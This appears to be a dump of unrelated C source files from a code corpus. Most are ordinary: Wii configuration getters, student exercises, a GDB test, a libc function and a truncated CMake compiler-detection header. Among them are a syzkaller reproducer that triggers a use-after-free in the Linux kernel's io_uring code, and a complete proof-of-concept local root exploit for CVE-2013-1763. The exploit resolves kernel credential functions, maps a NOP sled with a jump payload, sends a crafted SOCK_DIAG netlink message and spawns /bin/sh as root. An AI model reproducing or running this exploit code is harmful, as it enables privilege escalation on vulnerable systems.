CONF_Get("BT.DINF", pads, sizeof(conf_pads)); if(res < 0) return res; if(res < sizeof(conf_pads)) return CONF_EBADVALUE; return 0; } s32 CONF_GetNickName(u8 *nickname) { int i, res; u16 buf[11]; res = CONF_Get("IPL.NIK", buf, 0x16); if(res < 0) return res; if((res != 0x16) || (!buf[0])) return CONF_EBADVALUE; for(i=0; i<10; i++) nickname[i] = buf[i]; nickname[10] = 0; return res; } s32 CONF_GetAspectRatio(void) { int res; u8 val = 0; res = CONF_Get("IPL.AR", &val, 1); if(res < 0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetEULA(void) { int res; u8 val = 0; res = CONF_Get("IPL.EULA", &val, 1); if(res < 0) return res; if(res!=1) return CONF_EBADVALUE; return val; } s32 CONF_GetParentalPassword(s8 *password) { int res; u8 buf[0x4A]; res = CONF_Get("IPL.PC", buf, 0x4A); if(res < 0) return res; if(res!=1) return CONF_EBADVALUE; memcpy(password, buf+3, 4); password[4] = 0; return res; } s32 CONF_GetParentalAnswer(s8 *answer) { int res; u8 buf[0x4A]; res = CONF_Get("IPL.PC", buf, 0x4A); if(res < 0) return res; if(res!=1) return CONF_EBADVALUE; memcpy(answer, buf+8, 32); answer[32] = 0; return res; } s32 CONF_GetWiiConnect24(void) { int res; u32 val = 0; res = CONF_Get("NET.WCFG", &val, 4); if(res < 0) return res; if(res!=4) return CONF_EBADVALUE; return val; } s32 CONF_GetRegion(void) { int res; char buf[3]; res = __CONF_GetTxt("GAME", buf, 3); if(res < 0) return res; if(!strcmp(buf, "JP")) return CONF_REGION_JP; if(!strcmp(buf, "US")) return CONF_REGION_US; if(!strcmp(buf, "EU")) return CONF_REGION_EU; if(!strcmp(buf, "KR")) return CONF_REGION_KR; if(!strcmp(buf, "CN")) return CONF_REGION_CN; return CONF_EBADVALUE; } s32 CONF_GetArea(void) { int res; char buf[4]; res = __CONF_GetTxt("AREA", buf, 4); if(res < 0) return res; if(!strcmp(buf, "JPN")) return CONF_AREA_JPN; if(!strcmp(buf, "USA")) return CONF_AREA_USA; if(!strcmp(buf, "EUR")) return CONF_AREA_EUR; if(!strcmp(buf, "AUS")) return CONF_AREA_AUS; if(!strcmp(buf, "BRA")) return CONF_AREA_BRA; if(!strcmp(buf, "TWN")) return CONF_AREA_TWN; if(!strcmp(buf, "ROC")) return CONF_AREA_ROC; if(!strcmp(buf, "KOR")) return CONF_AREA_KOR; if(!strcmp(buf, "HKG")) return CONF_AREA_HKG; if(!strcmp(buf, "ASI")) return CONF_AREA_ASI; if(!strcmp(buf, "LTN")) return CONF_AREA_LTN; if(!strcmp(buf, "SAF")) return CONF_AREA_SAF; if(!strcmp(buf, "CHN")) return CONF_AREA_CHN; return CONF_EBADVALUE; } s32 CONF_GetVideo(void) { int res; char buf[5]; res = __CONF_GetTxt("VIDEO", buf, 5); if(res < 0) return res; if(!strcmp(buf, "NTSC")) return CONF_VIDEO_NTSC; if(!strcmp(buf, "PAL")) return CONF_VIDEO_PAL; if(!strcmp(buf, "MPAL")) return CONF_VIDEO_MPAL; return CONF_EBADVALUE; } #endif
the_stack_data/88666.c
#include <stdio.h> #define N (sizeof(int)/sizeof(s[0])) //#define MIN(a,b) ((a) <= (b) ? a : b ) int afun(char s[]); int afun(char s[]){ printf("Here in afun\n"); printf("%s\n",s); return 0; } int fun(char s[]){ int i=1; char *c=&i; if (*c) { printf("Little\n"); } else printf("Big End\n"); printf("Im in Fun\n"); printf("%s\n",s); return 0; } struct tree { char *name; int (*funcptr)(char *); }node[2]={ {"fun",fun}, {"afun",afun}, }; int main () { char s[]={"abcd"}; //struct tree *p =NULL; (node)->funcptr(s); /* char s[]={"abcd"}; //int b[]={10,34}; char *const p= s; fun(p); */ //printf("%d = \n",MIN(*p++,*b)); //printf("%c\n",*p++); // *(p+1)='t'; //printf("%c\n",p); //printf("%s\n",p); //printf("%d\n",N ); //*p++='c'; //printf("b=%d \n",*b); //printf("p= %d \n",*p++); //printf("%d = \n",*p++); return 0; } //char a[]={"livin Sunny"}; //fun(a+3); /* int a[3] = {1,2,3}; int *p = a; //p= a+1; if(++p == (a+1)) printf("p =%x\n",p); else printf("a =%x\n",a); */ /* int main() { int a = 5; void* p = &a; int *p2= (int *)p; printf("%d", *p2 ); return 0; } */
the_stack_data/111078729.c
/** * Experiment - 2 * * Date: 19-11-2021 * * @AUTHOR - Anish Shobith P S * @USN - 4SO20CS012 * @SUBJECT - Data Structures Laboratory * @DEPARTMENT - Computer Science and Engineering * @COLLEGE - ST JOSEPH ENGINEERING COLLEGE Vamanjoor, Mangaluru * * Question : * Design, Develop and Implement a Program in C for the following operations on strings * a. Read a main string (STR), a PATtern string (PAT) and a replace string (REP) * b. Perform pattern Matching Operation: Find and replace all occurrences of PAT in STR with * REP if PAT exists in STR. Report suitable messages in case PAT does not exist in STR * Support the program with functions for each of the above operations. Don't use Built-in * functions. */ #include <stdio.h> #include <stdlib.h> char STR[100], PAT[50], REP[50], RES[100]; int pattern_match_replace() { int i = 0; // index for PAT int c = 0, m = 0; // index for STR int k = 0; // index for REP int flag = 0; int j = 0; // index for RES while (STR[c] != '\0') { while(STR[c] !='\0') { if(STR[m] == PAT[i]) { i++; m++; if(PAT[i] == '\0') { flag = 1; for(k=0; REP[k]!='\0'; k++, j++) { RES[j] = REP[k]; } i = 0; c = m; } } else { RES[j]= STR[c]; j++; c++; m=c; i=0; } } RES[j]='\0'; return flag; } } void main() { char temp; printf("Enter the main string : "); scanf("%[^\n]", &STR); printf("Enter a pattern string : "); scanf("%c",&temp); scanf("%[^\n]", &PAT); printf("Enter a string to be replaced : "); scanf("%c",&temp); scanf("%[^\n]", &REP); if (pattern_match_replace()) printf("The resultant string is : %s\n", RES); else printf("Pattern not found in the string.\n"); }
the_stack_data/61075620.c
// KASAN: use-after-free Read in io_cancel_async_work // https://syzkaller.appspot.com/bug?id=47d3ee74cfc0547914e7 // status:0 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <linux/capability.h> static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } #define SIZEOF_IO_URING_SQE 64 #define SIZEOF_IO_URING_CQE 16 #define SQ_HEAD_OFFSET 0 #define SQ_TAIL_OFFSET 64 #define SQ_RING_MASK_OFFSET 256 #define SQ_RING_ENTRIES_OFFSET 264 #define SQ_FLAGS_OFFSET 276 #define SQ_DROPPED_OFFSET 272 #define CQ_HEAD_OFFSET 128 #define CQ_TAIL_OFFSET 192 #define CQ_RING_MASK_OFFSET 260 #define CQ_RING_ENTRIES_OFFSET 268 #define CQ_RING_OVERFLOW_OFFSET 284 #define CQ_FLAGS_OFFSET 280 #define CQ_CQES_OFFSET 320 struct io_sqring_offsets { uint32_t head; uint32_t tail; uint32_t ring_mask; uint32_t ring_entries; uint32_t flags; uint32_t dropped; uint32_t array; uint32_t resv1; uint64_t resv2; }; struct io_cqring_offsets { uint32_t head; uint32_t tail; uint32_t ring_mask; uint32_t ring_entries; uint32_t overflow; uint32_t cqes; uint64_t resv[2]; }; struct io_uring_params { uint32_t sq_entries; uint32_t cq_entries; uint32_t flags; uint32_t sq_thread_cpu; uint32_t sq_thread_idle; uint32_t features; uint32_t resv[4]; struct io_sqring_offsets sq_off; struct io_cqring_offsets cq_off; }; #define IORING_OFF_SQ_RING 0 #define IORING_OFF_SQES 0x10000000ULL #define __NR_io_uring_setup 425 static long syz_io_uring_setup(volatile long a0, volatile long a1, volatile long a2, volatile long a3, volatile long a4, volatile long a5) { uint32_t entries = (uint32_t)a0; struct io_uring_params* setup_params = (struct io_uring_params*)a1; void* vma1 = (void*)a2; void* vma2 = (void*)a3; void** ring_ptr_out = (void**)a4; void** sqes_ptr_out = (void**)a5; uint32_t fd_io_uring = syscall(__NR_io_uring_setup, entries, setup_params); uint32_t sq_ring_sz = setup_params->sq_off.array + setup_params->sq_entries * sizeof(uint32_t); uint32_t cq_ring_sz = setup_params->cq_off.cqes + setup_params->cq_entries * SIZEOF_IO_URING_CQE; uint32_t ring_sz = sq_ring_sz > cq_ring_sz ? sq_ring_sz : cq_ring_sz; *ring_ptr_out = mmap(vma1, ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring, IORING_OFF_SQ_RING); uint32_t sqes_sz = setup_params->sq_entries * SIZEOF_IO_URING_SQE; *sqes_ptr_out = mmap(vma2, sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring, IORING_OFF_SQES); return fd_io_uring; } static long syz_io_uring_submit(volatile long a0, volatile long a1, volatile long a2, volatile long a3) { char* ring_ptr = (char*)a0; char* sqes_ptr = (char*)a1; char* sqe = (char*)a2; uint32_t sqes_index = (uint32_t)a3; uint32_t sq_ring_entries = *(uint32_t*)(ring_ptr + SQ_RING_ENTRIES_OFFSET); uint32_t cq_ring_entries = *(uint32_t*)(ring_ptr + CQ_RING_ENTRIES_OFFSET); uint32_t sq_array_off = (CQ_CQES_OFFSET + cq_ring_entries * SIZEOF_IO_URING_CQE + 63) & ~63; if (sq_ring_entries) sqes_index %= sq_ring_entries; char* sqe_dest = sqes_ptr + sqes_index * SIZEOF_IO_URING_SQE; memcpy(sqe_dest, sqe, SIZEOF_IO_URING_SQE); uint32_t sq_ring_mask = *(uint32_t*)(ring_ptr + SQ_RING_MASK_OFFSET); uint32_t* sq_tail_ptr = (uint32_t*)(ring_ptr + SQ_TAIL_OFFSET); uint32_t sq_tail = *sq_tail_ptr & sq_ring_mask; uint32_t sq_tail_next = *sq_tail_ptr + 1; uint32_t* sq_array = (uint32_t*)(ring_ptr + sq_array_off); *(sq_array + sq_tail) = sqes_index; __atomic_store_n(sq_tail_ptr, sq_tail_next, __ATOMIC_RELEASE); return 0; } #define MAX_FDS 30 static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); sandbox_common(); drop_caps(); if (unshare(CLONE_NEWNET)) { } loop(); exit(1); } static void close_fds() { for (int fd = 3; fd < MAX_FDS; fd++) close(fd); } #ifndef __NR_io_uring_enter #define __NR_io_uring_enter 426 #endif uint64_t r[5] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0x0, 0x0}; void loop(void) { intptr_t res = 0; syscall(__NR_socketpair, 1ul, 5ul, 0, 0x20000500ul); res = syscall(__NR_epoll_create1, 0ul); if (res != -1) r[0] = res; res = syscall(__NR_fcntl, r[0], 2ul, -1); if (res != -1) r[1] = res; *(uint32_t*)0x20000144 = 0; *(uint32_t*)0x20000148 = 0; *(uint32_t*)0x2000014c = 0x200000; *(uint32_t*)0x20000150 = 0; *(uint32_t*)0x20000158 = r[1]; *(uint32_t*)0x2000015c = 0; *(uint32_t*)0x20000160 = 0; *(uint32_t*)0x20000164 = 0; res = -1; res = syz_io_uring_setup(0x76d1, 0x20000140, 0x20ffc000, 0x20fff000, 0x20000000, 0x20000100); if (res != -1) { r[2] = res; r[3] = *(uint64_t*)0x20000000; r[4] = *(uint64_t*)0x20000100; } *(uint8_t*)0x200000c0 = 6; *(uint8_t*)0x200000c1 = 0; *(uint16_t*)0x200000c2 = 0; *(uint32_t*)0x200000c4 = 3; *(uint64_t*)0x200000c8 = 0; *(uint64_t*)0x200000d0 = 0; *(uint32_t*)0x200000d8 = 0; *(uint16_t*)0x200000dc = 0; *(uint16_t*)0x200000de = 0; *(uint64_t*)0x200000e0 = 0; *(uint16_t*)0x200000e8 = 0; *(uint16_t*)0x200000ea = 0; *(uint8_t*)0x200000ec = 0; *(uint8_t*)0x200000ed = 0; *(uint8_t*)0x200000ee = 0; *(uint8_t*)0x200000ef = 0; *(uint8_t*)0x200000f0 = 0; *(uint8_t*)0x200000f1 = 0; *(uint8_t*)0x200000f2 = 0; *(uint8_t*)0x200000f3 = 0; *(uint8_t*)0x200000f4 = 0; *(uint8_t*)0x200000f5 = 0; *(uint8_t*)0x200000f6 = 0; *(uint8_t*)0x200000f7 = 0; *(uint8_t*)0x200000f8 = 0; *(uint8_t*)0x200000f9 = 0; *(uint8_t*)0x200000fa = 0; *(uint8_t*)0x200000fb = 0; *(uint8_t*)0x200000fc = 0; *(uint8_t*)0x200000fd = 0; *(uint8_t*)0x200000fe = 0; *(uint8_t*)0x200000ff = 0; syz_io_uring_submit(r[3], r[4], 0x200000c0, 0); syscall(__NR_io_uring_enter, r[2], 1, 0, 0ul, 0ul, 0x100000000000000ul); close_fds(); } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); do_sandbox_none(); return 0; }
the_stack_data/68320.c
int main(int argc, char **argv) { return 42; }
the_stack_data/237672.c
/* * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * bug found by Spender * poc by SynQ * * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux * using nl_table->hash.rehash_time, index 81 * * Fedora 18 support added * * 2/2013 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 89; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if(argc==1){ printf("Run: %s Fedora|Ubuntu\n",argv[0]); return 0; } else if(strcmp(argv[1],"Fedora")==0){ commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!\n"); exit(1); } family = (nl_table - sock_diag_handlers) / 4; printf("family=%d\n",family); req.r.sdiag_family = family; if(family>255){ printf("nl_table is too far!\n"); exit(1); } } else if(strcmp(argv[1],"Ubuntu")==0){ commit_creds = (_commit_creds) 0xc106bc60; prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0; req.r.sdiag_family = 81; } unsigned long mmap_start, mmap_size; mmap_start = 0x10000; mmap_size = 0x120000; printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long)kernel_code; memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); if ( send(fd, &req, sizeof(req), 0) < 0) { printf("bad send\n"); close(fd); return -1; } printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid()) system("/bin/sh"); }
the_stack_data/170452147.c
extern int printf(); extern int scanf(); main () { int i; scanf("%d",&i); if (i < 0) { if (i % 2 == 0) i *= 2; else i *= 4; } else { if (i % 2 == 0) i *= 8; else i *= 16; } printf("%d\n",i); }
the_stack_data/154827130.c
/* Name - Nikhil Ranjan Nayak Regd no - 1641012040 Desc - Exam Marks and Grade predictor */ #include "stdio.h" int main() { char grade; double min_avg,cur_avg, percentage,req; printf("\n Enter desired grade "); scanf("%c", &grade); printf("\n Enter minimum average required "); scanf("%lf", &min_avg); printf("\n Enter current average in course "); scanf("%lf", &cur_avg); printf("\n Enter how much the final counts as a percentage of the course grade "); scanf("%lf", &percentage); req = ((min_avg - cur_avg)*(100/(double)percentage)) + cur_avg; printf("\n You need a score of %f on the final to get a %c .\n", req, grade); }
the_stack_data/131951.c
/* Copyright (c) 2020 SoulHarsh007 (Harsh Peshwani) * Contact: [email protected] or [email protected] * GitHub: https://github.com/SoulHarsh007/ */ #include <stdio.h> int main() { char str[20]; int i, c = 1; printf("Enter the string: "); fgets(str, 20, stdin); // gets(str); for (i = 0; str[i] != '\0'; i++) { if (str[i] == ' ') c++; } printf("Number of words: %d\n", c); }
the_stack_data/944032.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2015-2016 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <unistd.h> #include <stdlib.h> #include <pthread.h> #include <assert.h> static int foo (void) { usleep (1); } static void * thread_function (void *arg) { while (1) foo (); } void new_thread (void) { pthread_t thread; int res; res = pthread_create (&thread, NULL, thread_function, NULL); assert (res == 0); } int main (int argc, char **argv) { return 0; }
the_stack_data/220456283.c
#include<stdio.h> int main(){ int a,b; scanf("%d%d",&a,&b); if(a>b){ printf("%d\n",a%b); } else{ return 0; } }
the_stack_data/62637251.c
// Lorenz equations #include<stdio.h> #include<math.h> float dx(float t,float x,float y,float z) { return -10*(x-y); } float dy(float t,float x,float y,float z) { // change value of alpha here return 100*x-x*z-y; } float dz(float t,float x,float y,float z) { return x*y-(8*z)/3; } int main() { FILE*fp=NULL; fp=fopen("prob5.txt","w"); fprintf(fp,"#t\tx\ty\tz\n"); float x,y,z,t,h=0.01; float k1,k2,k3,k4,m1,m2,m3,m4,n1,n2,n3,n4; // giving initial conditions t=0,x=1,y=2,z=3; do { fprintf(fp,"%f\t%f\t%f\t%f\n",t,x,y,z); k1=h*dx(t,x,y,z); m1=h*dy(t,x,y,z); n1=h*dz(t,x,y,z); k2=h*dx(t+h/2,x+k1/2,y+m1/2,z+n1/2); m2=h*dy(t+h/2,x+k1/2,y+m1/2,z+n1/2); n2=h*dz(t+h/2,x+k1/2,y+m1/2,z+n1/2); k3=h*dx(t+h/2,x+k2/2,y+m2/2,z+n2/2); m3=h*dy(t+h/2,x+k2/2,y+m2/2,z+n2/2); n3=h*dz(t+h/2,x+k2/2,y+m2/2,z+n2/2); k4=h*dx(t+h,x+k3,y+m3,z+n3); m4=h*dy(t+h,x+k3,y+m3,z+n3); n4=h*dz(t+h,x+k3,y+m3,z+n3); x=x+(k1+2*k2+2*k3+k4)/6; y=y+(m1+2*m2+2*m3+m4)/6; z=z+(n1+2*n2+2*n3+n4)/6; t=t+h; } while(t<=10); }
the_stack_data/59513299.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> #include "syscall.h" char *ctermid(char *s) { static char s2[L_ctermid]; int fd; if (!s) s = s2; *s = 0; fd = open("/dev/tty", O_WRONLY | O_NOCTTY | O_CLOEXEC); if (fd >= 0) { ttyname_r(fd, s, L_ctermid); __syscall(SYS_close, fd); } return s; }
the_stack_data/64200313.c
#ifdef __cplusplus # error "A C++ compiler has been selected for C." #endif #if defined(__18CXX) # define ID_VOID_MAIN #endif #if defined(__CLASSIC_C__) /* cv-qualifiers did not exist in K&R C */ # define const # define volatile #endif /* Version number components: V=Version, R=Revision, P=Patch Version date components: YYYY=Year, MM=Month, DD=Day */ #if defined(__INTEL_COMPILER) || defined(__ICC) # define COMPILER_ID "Intel" # if defined(_MSC_VER) # define SIMULATE_ID "MSVC" # endif # if defined(__GNUC__) # define SIMULATE_ID "GNU" # endif /* __INTEL_COMPILER = VRP */ # define COMPILER_VERSION_MAJOR DEC(__INTEL_COMPILER/100) # define COMPILER_VERSION_MINOR DEC(__INTEL_COMPILER/10 % 10) # if defined(__INTEL_COMPILER_UPDATE) # define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER_UPDATE) # else # define COMPILER_VERSION_PATCH DEC(__INTEL_COMPILER % 10) # endif # if defined(__INTEL_COMPILER_BUILD_DATE) /* __INTEL_COMPILER_BUILD_DATE = YYYYMMDD */ # define COMPILER_VERSION_TWEAK DEC(__INTEL_COMPILER_BUILD_DATE) # endif # if defined(_MSC_VER) /* _MSC_VER = VVRR */ # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) # endif # if defined(__GNUC__) # define SIMULATE_VERSION_MAJOR DEC(__GNUC__) # elif defined(__GNUG__) # define SIMULATE_VERSION_MAJOR DEC(__GNUG__) # endif # if defined(__GNUC_MINOR__) # define SIMULATE_VERSION_MINOR DEC(__GNUC_MINOR__) # endif # if defined(__GNUC_PATCHLEVEL__) # define SIMULATE_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) # endif #elif (defined(__clang__) && defined(__INTEL_CLANG_COMPILER)) || defined(__INTEL_LLVM_COMPILER) # define COMPILER_ID "IntelLLVM" #if defined(_MSC_VER) # define SIMULATE_ID "MSVC" #endif #if defined(__GNUC__) # define SIMULATE_ID "GNU" #endif /* __INTEL_LLVM_COMPILER = VVVVRP prior to 2021.2.0, VVVVRRPP for 2021.2.0 and * later. Look for 6 digit vs. 8 digit version number to decide encoding. * VVVV is no smaller than the current year when a versio is released. */ #if __INTEL_LLVM_COMPILER < 1000000L # define COMPILER_VERSION_MAJOR DEC(__INTEL_LLVM_COMPILER/100) # define COMPILER_VERSION_MINOR DEC(__INTEL_LLVM_COMPILER/10 % 10) # define COMPILER_VERSION_PATCH DEC(__INTEL_LLVM_COMPILER % 10) #else # define COMPILER_VERSION_MAJOR DEC(__INTEL_LLVM_COMPILER/10000) # define COMPILER_VERSION_MINOR DEC(__INTEL_LLVM_COMPILER/100 % 100) # define COMPILER_VERSION_PATCH DEC(__INTEL_LLVM_COMPILER % 100) #endif #if defined(_MSC_VER) /* _MSC_VER = VVRR */ # define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100) # define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100) #endif #if defined(__GNUC__) # define SIMULATE_VERSION_MAJOR DEC(__GNUC__) #elif defined(__GNUG__) # define SIMULATE_VERSION_MAJOR DEC(__GNUG__) #endif #if defined(__GNUC_MINOR__) # define SIMULATE_VERSION_MINOR DEC(__GNUC_MINOR__) #endif #if defined(__GNUC_PATCHLEVEL__) # define SIMULATE_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__) #endif #elif defined(__PATHCC__) # define COMPILER_ID "PathScale" # define COMPILER_VERSION_MAJOR DEC(__PATHCC__) # define COMPILER_VERSION_MINOR DEC(__PATHCC_MINOR__) # if defined(__PATHCC_PATCHLEVEL__) # define COMPILER_VERSION_PATCH DEC(__PATHCC_PATCHLEVEL__) # endif #elif defined(__BORLANDC__) && defined(__CODEGEARC_VERSION__) # define COMPILER_ID "Embarcadero" # define COMPILER_VERSION_MAJOR HEX(__CODEGEARC_VERSION__>>24 & 0x00FF) # define COMPILER_VERSION_MINOR HEX(__CODEGEARC_VERSION__>>16 & 0x00FF) # define COMPILER_VERSION_PATCH DEC(__CODEGEARC_VERSION__ & 0xFFFF) #elif defined(__BORLANDC__) # define COMPILER_ID "Borland" /* __BORLANDC__ = 0xVRR */ # define COMPILER_VERSION_MAJOR HEX(__BORLANDC__>>8) # define COMPILER_VERSION_MINOR HEX(__BORLANDC__ & 0xFF) #elif defined(__WATCOMC__) && __WATCOMC__ < 1200 # define COMPILER_ID "Watcom" /* __WATCOMC__ = VVRR */ # define COMPILER_VERSION_MAJOR DEC(__WATCOMC__ / 100) # define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) # if (__WATCOMC__ % 10) > 0 # define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) # endif #elif defined(__WATCOMC__) # define COMPILER_ID "OpenWatcom" /* __WATCOMC__ = VVRP + 1100 */ # define COMPILER_VERSION_MAJOR DEC((__WATCOMC__ - 1100) / 100) # define COMPILER_VERSION_MINOR DEC((__WATCOMC__ / 10) % 10) # if (__WATCOMC__ % 10) > 0 # define COMPILER_VERSION_PATCH DEC(__WATCOMC__ % 10) # endif #elif defined(__SUNPRO_C) # define COMPILER_ID "SunPro" # if __SUNPRO_C >= 0x5100 /* __SUNPRO_C = 0xVRRP */ # define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>12) # define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xFF) # define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF) # else /* __SUNPRO_CC = 0xVRP */ # define COMPILER_VERSION_MAJOR HEX(__SUNPRO_C>>8) # define COMPILER_VERSION_MINOR HEX(__SUNPRO_C>>4 & 0xF) # define COMPILER_VERSION_PATCH HEX(__SUNPRO_C & 0xF) # endif #elif defined(__HP_cc) # define COMPILER_ID "HP" /* __HP_cc = VVRRPP */ # define COMPILER_VERSION_MAJOR DEC(__HP_cc/10000) # define COMPILER_VERSION_MINOR 